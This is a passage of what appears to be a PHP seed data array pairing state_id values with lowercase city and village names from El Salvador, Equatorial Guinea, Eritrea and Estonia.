['state_id' => '1089', 'name' => 'san julian'],\n ['state_id' => '1089', 'name' => 'sonsonate'],\n ['state_id' => '1089', 'name' => 'sonzacate'],\n ['state_id' => '1090', 'name' => 'berlin'],\n ['state_id' => '1090', 'name' => 'concepcion batres'],\n ['state_id' => '1090', 'name' => 'estanzuelas'],\n ['state_id' => '1090', 'name' => 'jiquilisco'],\n ['state_id' => '1090', 'name' => 'jucuapa'],\n ['state_id' => '1090', 'name' => 'jucuaran'],\n ['state_id' => '1090', 'name' => 'ozatlan'],\n ['state_id' => '1090', 'name' => 'puerto el triunfo'],\n ['state_id' => '1090', 'name' => 'san agustin'],\n ['state_id' => '1090', 'name' => 'santa elena'],\n ['state_id' => '1090', 'name' => 'santiago de maria'],\n ['state_id' => '1090', 'name' => 'usulutan'],\n ['state_id' => '1091', 'name' => 'pale'],\n ['state_id' => '1095', 'name' => 'ebebiyin'],\n ['state_id' => '1095', 'name' => 'mikomeseng'],\n ['state_id' => '1096', 'name' => 'bata'],\n ['state_id' => '1096', 'name' => 'mbini'],\n ['state_id' => '1097', 'name' => 'aconibe'],\n ['state_id' => '1097', 'name' => 'anisoc'],\n ['state_id' => '1097', 'name' => 'mongomo'],\n ['state_id' => '1097', 'name' => 'nsok'],\n ['state_id' => '1098', 'name' => 'keren'],\n ['state_id' => '1099', 'name' => 'addi kwala'],\n ['state_id' => '1099', 'name' => 'addi ugri'],\n ['state_id' => '1100', 'name' => 'asseb'],\n ['state_id' => '1100', 'name' => 'beylul'],\n ['state_id' => '1100', 'name' => 'edd'],\n ['state_id' => '1100', 'name' => 'mersa fatma'],\n ['state_id' => '1101', 'name' => 'ak\\'ordat'],\n ['state_id' => '1101', 'name' => 'barentu'],\n ['state_id' => '1101', 'name' => 'teseney'],\n ['state_id' => '1102', 'name' => 'asmara'],\n ['state_id' => '1102', 'name' => 'ginda'],\n ['state_id' => '1102', 'name' => 'himbirti'],\n ['state_id' => '1102', 'name' => 'nefasit'],\n ['state_id' => '1103', 'name' => 'addi k\\'eyih'],\n ['state_id' => '1103', 'name' => 'dek\\'emhare'],\n ['state_id' => '1103', 'name' => 'mitsiwa'],\n ['state_id' => '1103', 'name' => 'sen\\'afe'],\n ['state_id' => '1104', 'name' => 'aasmae'],\n ['state_id' => '1104', 'name' => 'aaviku'],\n ['state_id' => '1104', 'name' => 'aegviidu'],\n ['state_id' => '1104', 'name' => 'aigrumae'],\n ['state_id' => '1104', 'name' => 'aila'],\n ['state_id' => '1104', 'name' => 'alavere'],\n ['state_id' => '1104', 'name' => 'alliku'],\n ['state_id' => '1104', 'name' => 'amari'],\n ['state_id' => '1104', 'name' => 'anija'],\n ['state_id' => '1104', 'name' => 'ardu'],\n ['state_id' => '1104', 'name' => 'arukula'],\n ['state_id' => '1104', 'name' => 'aruvalla'],\n ['state_id' => '1104', 'name' => 'assaku'],\n ['state_id' => '1104', 'name' => 'ellamaa'],\n ['state_id' => '1104', 'name' => 'haabneeme'],\n ['state_id' => '1104', 'name' => 'habaja'],\n ['state_id' => '1104', 'name' => 'haiba'],\n ['state_id' => '1104', 'name' => 'haljava'],\n ['state_id' => '1104', 'name' => 'hara'],\n ['state_id' => '1104', 'name' => 'harju-risti'],\n ['state_id' => '1104', 'name' => 'harku'],\n ['state_id' => '1104', 'name' => 'harkujarve'],\n ['state_id' => '1104', 'name' => 'harma'],\n ['state_id' => '1104', 'name' => 'huuru'],\n ['state_id' => '1104', 'name' => 'ilmandu'],\n ['state_id' => '1104', 'name' => 'iru'],\n ['state_id' => '1104', 'name' => 'jagala'],\n ['state_id' => '1104', 'name' => 'jalgimae'],\n ['state_id' => '1104', 'name' => 'jarsi'],\n ['state_id' => '1104', 'name' => 'jarvekula'],\n ['state_id' => '1104', 'name' => 'jogisoo'],\n ['state_id' => '1104', 'name' => 'juri'],\n ['state_id' => '1104', 'name' => 'kaasiku'],\n ['state_id' => '1104', 'name' => 'kaberneeme'],\n ['state_id' => '1104', 'name' => 'kahala'],\n ['state_id' => '1104', 'name' => 'kalesi'],\n ['state_id' => '1104', 'name' => 'kallavere'],\n ['state_id' => '1104', 'name' => 'karjakula'],\n ['state_id' => '1104', 'name' => 'karla'],\n ['state_id' => '1104', 'name' => 'kasepere'],\n ['state_id' => '1104', 'name' => 'kasispea'],\n ['state_id' => '1104', 'name' => 'kehra'],\n ['state_id' => '1104', 'name' => 'keila'],\n ['state_id' => '1104', 'name' => 'keila-joa'],\n ['state_id' => '1104', 'name' => 'kelvingi'],\n ['state_id' => '1104', 'name' => 'kiia'],\n ['state_id' => '1104', 'name' => 'kiili'],\n ['state_id' => '1104', 'name' => 'kiisa'],\n ['state_id' => '1104', 'name' => 'kiiu'],\n ['state_id' => '1104', 'name' => 'klooga'],\n ['state_id' => '1104', 'name' => 'kloogaranna'],\n ['state_id' => '1104', 'name' => 'kohatu'],\n ['state_id' => '1104', 'name' => 'kolga'],\n ['state_id' => '1104', 'name' => 'kolga-aabla'],\n ['state_id' => '1104', 'name' => 'kolgakula'],\n ['state_id' => '1104', 'name' => 'konnu'],\n ['state_id' => '1104', 'name' => 'kose'],\n ['state_id' => '1104', 'name' => 'kose-uuemoisa'],\n ['state_id' => '1104', 'name' => 'kostivere'],\n ['state_id' => '1104', 'name' => 'krei'],\n ['state_id' => '1104', 'name' => 'kuivajoe'],\n ['state_id' => '1104', 'name' => 'kumna'],\n ['state_id' => '1104', 'name' => 'kurtna'],\n ['state_id' => '1104', 'name' => 'kuusalu'],\n ['state_id' => '1104', 'name' => 'laabi'],\n ['state_id' => '1104', 'name' => 'laagri'],\n ['state_id' => '1104', 'name' => 'lagedi'],\n ['state_id' => '1104', 'name' => 'laitse'],\n ['state_id' => '1104', 'name' => 'laulasmaa'],\n ['state_id' => '1104', 'name' => 'lehetu'],\n ['state_id' => '1104', 'name' => 'lehola'],\n ['state_id' => '1104', 'name' => 'lehtmetsa'],\n ['state_id' => '1104', 'name' => 'leppneeme'],\n ['state_id' => '1104', 'name' => 'liikva'],\n ['state_id' => '1104', 'name' => 'lilli'],\n ['state_id' => '1104', 'name' => 'lohusalu'],\n ['state_id' => '1104', 'name' => 'loksa'],\n ['state_id' => '1104', 'name' => 'lokuti'],\n ['state_id' => '1104', 'name' => 'loo'],\n ['state_id' => '1104', 'name' => 'lubja'],\n ['state_id' => '1104', 'name' => 'luige'],\n ['state_id' => '1104', 'name' => 'maardu'],\n ['state_id' => '1104', 'name' => 'maidla'],\n ['state_id' => '1104', 'name' => 'manniku'],\n ['state_id' => '1104', 'name' => 'metsakasti'],\n ['state_id' => '1104', 'name' => 'metsanurme'],\n ['state_id' => '1104', 'name' => 'miiduranna'],\n ['state_id' => '1104', 'name' => 'munalaskme'],\n ['state_id' => '1104', 'name' => 'muraste'],\n ['state_id' => '1104', 'name' => 'muuga'],\n ['state_id' => '1104', 'name' => 'nabala'],\n ['state_id' => '1104', 'name' => 'neeme'],\n ['state_id' => '1104', 'name' => 'ohtu'],\n ['state_id' => '1104', 'name' => 'ojasoo'],\n ['state_id' => '1104', 'name' => 'oru'],\n ['state_id' => '1104', 'name' => 'padise'],\n ['state_id' => '1104', 'name' => 'pae'],\n ['state_id' => '1104', 'name' => 'paekna'],\n ['state_id' => '1104', 'name' => 'pajupea'],\n ['state_id' => '1104', 'name' => 'paldiski'],\n ['state_id' => '1104', 'name' => 'palvere'],\n ['state_id' => '1104', 'name' => 'parispea'],\n ['state_id' => '1104', 'name' => 'patika'],\n ['state_id' => '1104', 'name' => 'paunkula'],\n ['state_id' => '1104', 'name' => 'peetri'],\n ['state_id' => '1104', 'name' => 'peningi'],\n ['state_id' => '1104', 'name' => 'perila'],\n ['state_id' => '1104', 'name' => 'pikva'],\n ['state_id' => '1104', 'name' => 'pillapalu'],\n ['state_id' => '1104', 'name' => 'pringi'],\n ['state_id' => '1104', 'name' => 'puunsi'],\n ['state_id' => '1104', 'name' => 'raasiku'],\n ['state_id' => '1104', 'name' => 'rae'],\n ['state_id' => '1104', 'name' => 'randvere'],\n ['state_id' => '1104', 'name' => 'rannamoisa'],\n ['state_id' => '1104', 'name' => 'ravila'],\n ['state_id' => '1104', 'name' => 'riisipere'],\n ['state_id' => '1104', 'name' => 'rohuneeme'],\n ['state_id' => '1104', 'name' => 'roobuka'],\n ['state_id' => '1104', 'name' => 'ruila'],\n ['state_id' => '1104', 'name' => 'rummu'],\n ['state_id' => '1104', 'name' => 'saha'],\n ['state_id' => '1104', 'name' => 'saku'],\n ['state_id' => '1104', 'name' => 'saue'],\n ['state_id' => '1104', 'name' => 'saula'],\n ['state_id' => '1104', 'name' => 'saunja'],\n ['state_id' => '1104', 'name' => 'suurpea'],\n ['state_id' => '1104', 'name' => 'suurupi'],\n ['state_id' => '1104', 'name' => 'tabasalu'],\n ['state_id' => '1104', 'name' => 'tagadi'],\n ['state_id' => '1104', 'name' => 'tagametsa'],\n ['state_id' => '1104', 'name' => 'tallinn'],\n ['state_id' => '1104', 'name' => 'tammneeme'],\n ['state_id' => '1104', 'name' => 'tiskre'],\n ['state_id' => '1104', 'name' => 'todva'],\n ['state_id' => '1104', 'name' => 'turba'],\n ['state_id' => '1104', 'name' => 'turisalu'],\n ['state_id' => '1104', 'name' => 'tutermaa'],\n ['state_id' => '1104', 'name' => 'tuula'],\n ['state_id' => '1104', 'name' => 'tuulna'],\n ['state_id' => '1104', 'name' => 'uksnurme'],\n ['state_id' => '1104', 'name' => 'ulejoe'],\n ['state_id' => '1104', 'name' => 'uuri'],\n ['state_id' => '1104', 'name' => 'uuskula'],\n ['state_id' => '1104', 'name' => 'vaana'],\n ['state_id' => '1104', 'name' => 'vaana-joesuu'],\n ['state_id' => '1104', 'name' => 'vaida'],\n ['state_id' => '1104', 'name' => 'vaidasoo'],\n ['state_id' => '1104', 'name' => 'valingu'],\n ['state_id' => '1104', 'name' => 'valkla'],\n ['state_id' => '1104', 'name' => 'vanamoisa'],\n ['state_id' => '1104', 'name' => 'vardja'],\n ['state_id' => '1104', 'name' => 'vasalemma'],\n ['state_id' => '1104', 'name' => 'vaskjala'],\n ['state_id' => '1104', 'name' => 'vatsla'],\n ['state_id' => '1104', 'name' => 'veskikula'],\n ['state_id' => '1104', 'name' => 'vihasoo'],\n ['state_id' => '1104', 'name' => 'viimsi'],\n ['state_id' => '1104', 'name' => 'viinistu'],\n ['state_id' => '1104', 'name' => 'viti'],\n ['state_id' => '1105', 'name' => 'emmaste'],\n ['state_id' => '1105', 'name' => 'jausa'],\n ['state_id' => '1105', 'name' => 'kaina'],\n ['state_id' => '1105', 'name' => 'kardla'],\n ['state_id' => '1105', 'name' => 'korgessaare'],\n ['state_id' => '1105', 'name' => 'lauka'],\n ['state_id' => '1105', 'name' => 'lope'],\n ['state_id' => '1105', 'name' => 'mannamaa'],\n ['state_id' => '1105', 'name' => 'putkaste'],\n ['state_id' => '1105', 'name' => 'suuremoisa'],\n ['state_id' => '1106', 'name' => 'aa'],\n ['state_id' => '1106', 'name' => 'alajoe'],\n ['state_id' => '1106', 'name' => 'aseri'],\n ['state_id' => '1106', 'name' => 'avinurme'],\n ['state_id' => '1106', 'name' => 'edise'],\n ['state_id' => '1106', 'name' => 'erra'],\n ['state_id' => '1106', 'name' => 'iisaku'],\n ['state_id' => '1106', 'name' => 'jarve'],\n ['state_id' => '1106', 'name' => 'johvi'],\n ['state_id' => '1106', 'name' => 'kahula'],\n ['state_id' => '1106', 'name' => 'kiikla'],\n ['state_id' => '1106', 'name' => 'kivioli'],\n ['state_id' => '1106', 'name' => 'kohtla-jarve'],\n ['state_id' => '1106', 'name' => 'kohtla-nomme'],\n ['state_id' => '1106', 'name' => 'konju'],\n ['state_id' => '1106', 'name' => 'kose'],\n ['state_id' => '1106', 'name' => 'kuremae'],\n ['state_id' => '1106', 'name' => 'kurtna'],\n ['state_id' => '1106', 'name' => 'lohusuu'],\n ['state_id' => '1106', 'name' => 'luganuse'],\n ['state_id' => '1106', 'name' => 'maetaguse'],\n ['state_id' => '1106', 'name' => 'maidla'],\n ['state_id' => '1106', 'name' => 'narva'],\n ['state_id' => '1106', 'name' => 'narva-joesuu'],\n ['state_id' => '1106', 'name' => 'olgina'],\n ['state_id' => '1106', 'name' => 'pagari'],\n ['state_id' => '1106', 'name' => 'puhajoe'],\n ['state_id' => '1106', 'name' => 'purtse'],\n ['state_id' => '1106', 'name' => 'pussi'],\n ['state_id' => '1106', 'name' => 'rannu'],\n ['state_id' => '1106', 'name' => 'saka'],\n ['state_id' => '1106', 'name' => 'savala'],\n ['state_id' => '1106', 'name' => 'sillamae'],\n ['state_id' => '1106', 'name' => 'sinimae'],\n ['state_id' => '1106', 'name' => 'soldina'],\n ['state_id' => '1106', 'name' => 'sompa'],\n ['state_id' => '1106', 'name' => 'sonda'],\n ['state_id' => '1106', 'name' => 'tammiku'],\n ['state_id' => '1106', 'name' => 'toila'],\n ['state_id' => '1106', 'name' => 'tudulinna'],\n ['state_id' => '1106', 'name' => 'ulvi'],\n ['state_id' => '1106', 'name' => 'vaivara'],\n ['state_id' => '1106', 'name' => 'varja'],\n ['state_id' => '1106', 'name' => 'vasavere'],\n ['state_id' => '1106', 'name' => 'voka'],\n ['state_id' => '1107', 'name' => 'ahula'],\n ['state_id' => '1107', 'name' => 'aiamaa'],\n ['state_id' => '1107', 'name' => 'albu'],\n ['state_id' => '1107', 'name' => 'ambla'],\n ['state_id' => '1107', 'name' => 'anari'],\n ['state_id' => '1107', 'name' => 'anna'],\n ['state_id' => '1107', 'name' => 'aravete'],\n ['state_id' => '1107', 'name' => 'ervita'],\n ['state_id' => '1107', 'name' => 'imavere'],\n ['state_id' => '1107', 'name' => 'janeda'],\n ['state_id' => '1107', 'name' => 'jarva-jaani'],\n ['state_id' => '1107', 'name' => 'jogisoo'],\n ['state_id' => '1107', 'name' => 'jootme'],\n ['state_id' => '1107', 'name' => 'kaalepi'],\n ['state_id' => '1107', 'name' => 'kabala'],\n ['state_id' => '1107', 'name' => 'kahala'],\n ['state_id' => '1107', 'name' => 'karavete'],\n ['state_id' => '1107', 'name' => 'karevere'],\n ['state_id' => '1107', 'name' => 'karinu'],\n ['state_id' => '1107', 'name' => 'kasukonna'],\n ['state_id' => '1107', 'name' => 'kirna'],\n ['state_id' => '1107', 'name' => 'koeru'],\n ['state_id' => '1107', 'name' => 'koigi'],\n ['state_id' => '1107', 'name' => 'kolu'],\n ['state_id' => '1107', 'name' => 'kuksema'],\n ['state_id' => '1107', 'name' => 'laupa'],\n ['state_id' => '1107', 'name' => 'lehtse'],\n ['state_id' => '1107', 'name' => 'lokuta'],\n ['state_id' => '1107', 'name' => 'loola'],\n ['state_id' => '1107', 'name' => 'muusleri'],\n ['state_id' => '1107', 'name' => 'oisu'],\n ['state_id' => '1107', 'name' => 'paide'],\n ['state_id' => '1107', 'name' => 'painurme'],\n ['state_id' => '1107', 'name' => 'peetri'],\n ['state_id' => '1107', 'name' => 'poikva'],\n ['state_id' => '1107', 'name' => 'reopalu'],\n ['state_id' => '1107', 'name' => 'retla'],\n ['state_id' => '1107', 'name' => 'roa'],\n ['state_id' => '1107', 'name' => 'roosna'],\n ['state_id' => '1107', 'name' => 'roosna-alliku'],\n ['state_id' => '1107', 'name' => 'sarevere'],\n ['state_id' => '1107', 'name' => 'sargvere'],\n ['state_id' => '1107', 'name' => 'taikse'],\n ['state_id' => '1107', 'name' => 'tarbja'],\n ['state_id' => '1107', 'name' => 'turi'],\n ['state_id' => '1107', 'name' => 'turi-alliku'],\n ['state_id' => '1107', 'name' => 'vaatsa'],\n ['state_id' => '1107', 'name' => 'vahukula'],\n ['state_id' => '1107', 'name' => 'vao'],\n ['state_id' => '1107', 'name' => 'viisu'],\n ['state_id' => '1107', 'name' => 'villevere'],\n ['state_id' => '1108', 'name' => 'adavere'],\n ['state_id' => '1108', 'name' => 'esku'],\n ['state_id' => '1108', 'name' => 'harjanurme'],\n ['state_id' => '1108', 'name' => 'jogeva'],\n ['state_id' => '1108', 'name' => 'kaarepere'],\n ['state_id' => '1108', 'name' => 'kalana'],\n ['state_id' => '1108', 'name' => 'kalme'],\n ['state_id' => '1108', 'name' => 'kamari'],\n ['state_id' => '1108', 'name' => 'karde'],\n ['state_id' => '1108', 'name' => 'kasepaa'],\n ['state_id' => '1108', 'name' => 'kassinurme'],\n ['state_id' => '1108', 'name' => 'konnu'],\n ['state_id' => '1108', 'name' => 'kudina'],\n ['state_id' => '1108', 'name' => 'kukita'],\n ['state_id' => '1108', 'name' => 'kuremaa'],\n ['state_id' => '1108', 'name' => 'kurista'],\n ['state_id' => '1108', 'name' => 'lahavere'],\n ['state_id' => '1108', 'name' => 'laiuse'],\n ['state_id' => '1108', 'name' => 'laiusevalja'],\n ['state_id' => '1108', 'name' => 'leedi'],\n ['state_id' => '1108', 'name' => 'lustivere'],\n ['state_id' => '1108', 'name' => 'luua'],\n ['state_id' => '1108', 'name' => 'maarja'],\n ['state_id' => '1108', 'name' => 'mallikvere'],\n ['state_id' => '1108', 'name' => 'metsakula'],\n ['state_id' => '1108', 'name' => 'mohkula'],\n ['state_id' => '1108', 'name' => 'mustvee'],\n ['state_id' => '1108', 'name' => 'neanurme'],\n ['state_id' => '1108', 'name' => 'nova'],\n ['state_id' => '1108', 'name' => 'omedu'],\n ['state_id' => '1108', 'name' => 'ouna'],\n ['state_id' => '1108', 'name' => 'painkula'],\n ['state_id' => '1108', 'name' => 'pajusi'],\n ['state_id' => '1108', 'name' => 'pala'],\n ['state_id' => '1108', 'name' => 'palamuse'],\n ['state_id' => '1108', 'name' => 'pataste'],\n ['state_id' => '1108', 'name' => 'pauastvere'],\n ['state_id' => '1108', 'name' => 'pikkjarve'],\n ['state_id' => '1108', 'name' => 'pikknurme'],\n ['state_id' => '1108', 'name' => 'pisisaare'],\n ['state_id' => '1108', 'name' => 'poltsamaa'],\n ['state_id' => '1108', 'name' => 'poora'],\n ['state_id' => '1108', 'name' => 'puurmani'],\n ['state_id' => '1108', 'name' => 'raabise'],\n ['state_id' => '1108', 'name' => 'raja'],\n ['state_id' => '1108', 'name' => 'saare'],\n ['state_id' => '1108', 'name' => 'sadala'],\n ['state_id' => '1108', 'name' => 'sadukula'],\n ['state_id' => '1108', 'name' => 'siimusti'],\n ['state_id' => '1108', 'name' => 'tabivere'],\n ['state_id' => '1108', 'name' => 'tahkvere'],\n ['state_id' => '1108', 'name' => 'tiheda'],\n ['state_id' => '1108', 'name' => 'toikvere'],\n ['state_id' => '1108', 'name' => 'torma'],\n ['state_id' => '1108', 'name' => 'umbusi'],\n ['state_id' => '1108', 'name' => 'vagari'],\n ['state_id' => '1108', 'name' => 'vaiatu'],\n ['state_id' => '1108', 'name' => 'vaike-kamari'],\n ['state_id' => '1108', 'name' => 'vaimastvere'],\n ['state_id' => '1108', 'name' => 'valgma'],\n ['state_id' => '1108', 'name' => 'visusti'],\n ['state_id' => '1108', 'name' => 'voduvere'],\n ['state_id' => '1108', 'name' => 'vohmanomme'],\n ['state_id' => '1108', 'name' => 'voisiku'],\n ['state_id' => '1108', 'name' => 'voldi'],\n ['state_id' => '1108', 'name' => 'voore'],\n ['state_id' => '1108', 'name' => 'votikvere'],\n ['state_id' => '1109', 'name' => 'haapsalu'],\n ['state_id' => '1109', 'name' => 'hullo'],\n ['state_id' => '1109', 'name' => 'joodre'],\n ['state_id' => '1109', 'name' => 'kirbla'],\n ['state_id' => '1109', 'name' => 'kirimae'],\n ['state_id' => '1109', 'name' => 'koluvere'],\n ['state_id' => '1109', 'name' => 'komsi'],\n ['state_id' => '1109', 'name' => 'kullamaa'],\n ['state_id' => '1109', 'name' => 'lihula'],\n ['state_id' => '1109', 'name' => 'liivi'],\n ['state_id' => '1109', 'name' => 'linnamae'],\n ['state_id' => '1109', 'name' => 'martna'],\n ['state_id' => '1109', 'name' => 'nigula'],\n ['state_id' => '1109', 'name' => 'nova'],\n ['state_id' => '1109', 'name' => 'palivere'],\n ['state_id' => '1109', 'name' => 'palli'],\n ['state_id' => '1109', 'name' => 'panga'],\n ['state_id' => '1109', 'name' => 'paralepa'],\n ['state_id' => '1109', 'name' => 'piirsalu'],\n ['state_id' => '1109', 'name' => 'purksi'],\n ['state_id' => '1109', 'name' => 'rannakula'],\n ['state_id' => '1109', 'name' => 'risti'],\n ['state_id' => '1109', 'name' => 'roude'],\n ['state_id' => '1109', 'name' => 'sutlepa'],\n ['state_id' => '1109', 'name' => 'taebla'],\n ['state_id' => '1109', 'name' => 'tuudi'],\n ['state_id' => '1109', 'name' => 'uuemoisa'],\n ['state_id' => '1109', 'name' => 'variku'],\n ['state_id' => '1109', 'name' => 'vatla'],\n ['state_id' => '1109', 'name' => 'virtsu'],\n ['state_id' => '1110', 'name' => 'aaspere'],\n ['state_id' => '1110', 'name' => 'ama'],\n ['state_id' => '1110', 'name' => 'arkna'],\n ['state_id' => '1110', 'name' => 'assamalla'],\n ['state_id' => '1110', 'name' => 'avanduse'],\n ['state_id' => '1110', 'name' => 'avispea'],\n ['state_id' => '1110', 'name' => 'ebavere'],\n ['state_id' => '1110', 'name' => 'eipri'],\n ['state_id' => '1110', 'name' => 'essu'],\n ['state_id' => '1110', 'name' => 'haljala'],\n ['state_id' => '1110', 'name' => 'hulja'],\n ['state_id' => '1110', 'name' => 'imastu'],\n ['state_id' => '1110', 'name' => 'inju'],\n ['state_id' => '1110', 'name' => 'kadapiku'],\n ['state_id' => '1110', 'name' => 'kadila'],\n ['state_id' => '1110', 'name' => 'kadrina'],\n ['state_id' => '1110', 'name' => 'kakumae'],\n ['state_id' => '1110', 'name' => 'karitsa'],\n ['state_id' => '1110', 'name' => 'karu'],\n ['state_id' => '1110', 'name' => 'kasmu'],\n ['state_id' => '1110', 'name' => 'kihlevere'],\n ['state_id' => '1110', 'name' => 'kiku'],\n ['state_id' => '1110', 'name' => 'kiltsi'],\n ['state_id' => '1110', 'name' => 'kohala'],\n ['state_id' => '1110', 'name' => 'kunda'],\n ['state_id' => '1110', 'name' => 'kuti'],\n ['state_id' => '1110', 'name' => 'laekvere'],\n ['state_id' => '1110', 'name' => 'lasila'],\n ['state_id' => '1110', 'name' => 'lepna'],\n ['state_id' => '1110', 'name' => 'levala'],\n ['state_id' => '1110', 'name' => 'liigvalla'],\n ['state_id' => '1110', 'name' => 'modriku'],\n ['state_id' => '1110', 'name' => 'moe'],\n ['state_id' => '1110', 'name' => 'moora'],\n ['state_id' => '1110', 'name' => 'muuga'],\n ['state_id' => '1110', 'name' => 'napi'],\n ['state_id' => '1110', 'name' => 'paasvere'],\n ['state_id' => '1110', 'name' => 'pajusti'],\n ['state_id' => '1110', 'name' => 'pandivere'],\n ['state_id' => '1110', 'name' => 'piira'],\n ['state_id' => '1110', 'name' => 'pikevere'],\n ['state_id' => '1110', 'name' => 'podrangu'],\n ['state_id' => '1110', 'name' => 'podruse'],\n ['state_id' => '1110', 'name' => 'porkuni'],\n ['state_id' => '1110', 'name' => 'rahkla'],\n ['state_id' => '1110', 'name' => 'rakke'],\n ['state_id' => '1110', 'name' => 'rakvere'],\n ['state_id' => '1110', 'name' => 'ridakula'],\n ['state_id' => '1110', 'name' => 'roela'],\n ['state_id' => '1110', 'name' => 'roodevalja'],\n ['state_id' => '1110', 'name' => 'saase'],\n ['state_id' => '1110', 'name' => 'salda'],\n ['state_id' => '1110', 'name' => 'salla'],\n ['state_id' => '1110', 'name' => 'simuna'],\n ['state_id' => '1110', 'name' => 'someru'],\n ['state_id' => '1110', 'name' => 'taaravainu'],\n ['state_id' => '1110', 'name' => 'tamsalu'],\n ['state_id' => '1110', 'name' => 'tapa'],\n ['state_id' => '1110', 'name' => 'torma'],\n ['state_id' => '1110', 'name' => 'torremae'],\n ['state_id' => '1110', 'name' => 'triigi'],\n ['state_id' => '1110', 'name' => 'tudu'],\n ['state_id' => '1110', 'name' => 'ubja'],\n ['state_id' => '1110', 'name' => 'udriku'],\n ['state_id' => '1110', 'name' => 'uhtna'],\n ['state_id' => '1110', 'name' => 'ulvi'],\n ['state_id' => '1110', 'name' => 'undla'],\n ['state_id' => '1110', 'name' => 'ussimae'],\n ['state_id' => '1110', 'name' => 'uudekula'],\n ['state_id' => '1110', 'name' => 'vaekula'],\n ['state_id' => '1110', 'name' => 'vahakulmu'],\n ['state_id' => '1110', 'name' => 'vaiatu'],\n ['state_id' => '1110', 'name' => 'vaike-maarja'],\n ['state_id' => '1110', 'name' => 'vajangu'],\n ['state_id' => '1110', 'name' => 'vao'],\n ['state_id' => '1110', 'name' => 'veltsi'],\n ['state_id' => '1110', 'name' => 'venevere'],\n ['state_id' => '1110', 'name' => 'vergi'],\n ['state_id' => '1110', 'name' => 'vetiku'],\n ['state_id' => '1110', 'name' => 'vihula'],\n ['state_id' => '1110', 'name' => 'viitna'],\n ['state_id' => '1110', 'name' => 'vinni'],\n ['state_id' => '1110', 'name' => 'viru-jaagupi'],\n ['state_id' => '1110', 'name' => 'viru-kabala'],\n ['state_id' => '1110', 'name' => 'viru-nigula'],\n ['state_id' => '1110', 'name' => 'vohnja'],\n ['state_id' => '1110', 'name' => 'vosu'],\n ['state_id' => '1110', 'name' => 'vosupere'],\n ['state_id' => '1111', 'name' => 'ahaste'],\n ['state_id' => '1111', 'name' => 'aluste'],\n ['state_id' => '1111', 'name' => 'are'],\n ['state_id' => '1111', 'name' => 'arumetsa'],\n ['state_id' => '1111', 'name' => 'audru'],\n ['state_id' => '1111', 'name' => 'eametsa'],\n ['state_id' => '1111', 'name' => 'haademeeste'],\n ['state_id' => '1111', 'name' => 'halinga'],\n ['state_id' => '1111', 'name' => 'ikla'],\n ['state_id' => '1111', 'name' => 'ilvese'],\n ['state_id' => '1111', 'name' => 'jaamakula'],\n ['state_id' => '1111', 'name' => 'jaarja'],\n ['state_id' => '1111', 'name' => 'joesuu'],\n ['state_id' => '1111', 'name' => 'joopre'],\n ['state_id' => '1111', 'name' => 'kaansoo'],\n ['state_id' => '1111', 'name' => 'kabli'],\n ['state_id' => '1111', 'name' => 'kadjaste'],\n ['state_id' => '1111', 'name' => 'kaisma'],\n ['state_id' => '1111', 'name' => 'kalita'],\n ['state_id' => '1111', 'name' => 'kanakula'],\n ['state_id' => '1111', 'name' => 'kergu'],\n ['state_id' => '1111', 'name' => 'kihlepa'],\n ['state_id' => '1111', 'name' => 'kilingi-nomme'],\n ['state_id' => '1111', 'name' => 'kilksama'],\n ['state_id' => '1111', 'name' => 'koima'],\n ['state_id' => '1111', 'name' => 'koonga'],\n ['state_id' => '1111', 'name' => 'krundikula'],\n ['state_id' => '1111', 'name' => 'laadi'],\n ['state_id' => '1111', 'name' => 'langerma'],\n ['state_id' => '1111', 'name' => 'lavassaare'],\n ['state_id' => '1111', 'name' => 'leipste'],\n ['state_id' => '1111', 'name' => 'lemmetsa'],\n ['state_id' => '1111', 'name' => 'lemsi'],\n ['state_id' => '1111', 'name' => 'libatse'],\n ['state_id' => '1111', 'name' => 'linakula'],\n ['state_id' => '1111', 'name' => 'lindi'],\n ['state_id' => '1111', 'name' => 'liu'],\n ['state_id' => '1111', 'name' => 'lodja'],\n ['state_id' => '1111', 'name' => 'lope'],\n ['state_id' => '1111', 'name' => 'malda'],\n ['state_id' => '1111', 'name' => 'mannikuste'],\n ['state_id' => '1111', 'name' => 'massiaru'],\n ['state_id' => '1111', 'name' => 'metsaaare'],\n ['state_id' => '1111', 'name' => 'metsapoole'],\n ['state_id' => '1111', 'name' => 'moisakula'],\n ['state_id' => '1111', 'name' => 'muraka'],\n ['state_id' => '1111', 'name' => 'niidu'],\n ['state_id' => '1111', 'name' => 'nurme'],\n ['state_id' => '1111', 'name' => 'oara'],\n ['state_id' => '1111', 'name' => 'oidrema'],\n ['state_id' => '1111', 'name' => 'paikuse'],\n ['state_id' => '1111', 'name' => 'papsaare'],\n ['state_id' => '1111', 'name' => 'parnjoe'],\n ['state_id' => '1111', 'name' => 'parnu'],\n ['state_id' => '1111', 'name' => 'parnu-jaagupi'],\n ['state_id' => '1111', 'name' => 'penu'],\n ['state_id' => '1111', 'name' => 'piistaoja'],\n ['state_id' => '1111', 'name' => 'pohara'],\n ['state_id' => '1111', 'name' => 'poldeotsa'],\n ['state_id' => '1111', 'name' => 'pootsi'],\n ['state_id' => '1111', 'name' => 'pulli'],\n ['state_id' => '1111', 'name' => 'rannametsa'],\n ['state_id' => '1111', 'name' => 'ratsepa'],\n ['state_id' => '1111', 'name' => 'reiu'],\n ['state_id' => '1111', 'name' => 'ridalepa'],\n ['state_id' => '1111', 'name' => 'rootsikula'],\n ['state_id' => '1111', 'name' => 'saarde'],\n ['state_id' => '1111', 'name' => 'saare'],\n ['state_id' => '1111', 'name' => 'sauga'],\n ['state_id' => '1111', 'name' => 'seliste'],\n ['state_id' => '1111', 'name' => 'selja'],\n ['state_id' => '1111', 'name' => 'seljametsa'],\n ['state_id' => '1111', 'name' => 'silla'],\n ['state_id' => '1111', 'name' => 'sindi'],\n ['state_id' => '1111', 'name' => 'soeva'],\n ['state_id' => '1111', 'name' => 'soometsa'],\n ['state_id' => '1111', 'name' => 'suigu'],\n ['state_id' => '1111', 'name' => 'surju'],\n ['state_id' => '1111', 'name' => 'suurejoe'],\n ['state_id' => '1111', 'name' => 'taali'],\n ['state_id' => '1111', 'name' => 'tahkuranna'],\n ['state_id' => '1111', 'name' => 'tali'],\n ['state_id' => '1111', 'name' => 'tammiste'],\n ['state_id' => '1111', 'name' => 'tammuru'],\n ['state_id' => '1111', 'name' => 'tihemetsa'],\n ['state_id' => '1111', 'name' => 'tolla'],\n ['state_id' => '1111', 'name' => 'tootsi'],\n ['state_id' => '1111', 'name' => 'tori'],\n ['state_id' => '1111', 'name' => 'tostamaa'],\n ['state_id' => '1111', 'name' => 'tousi'],\n ['state_id' => '1111', 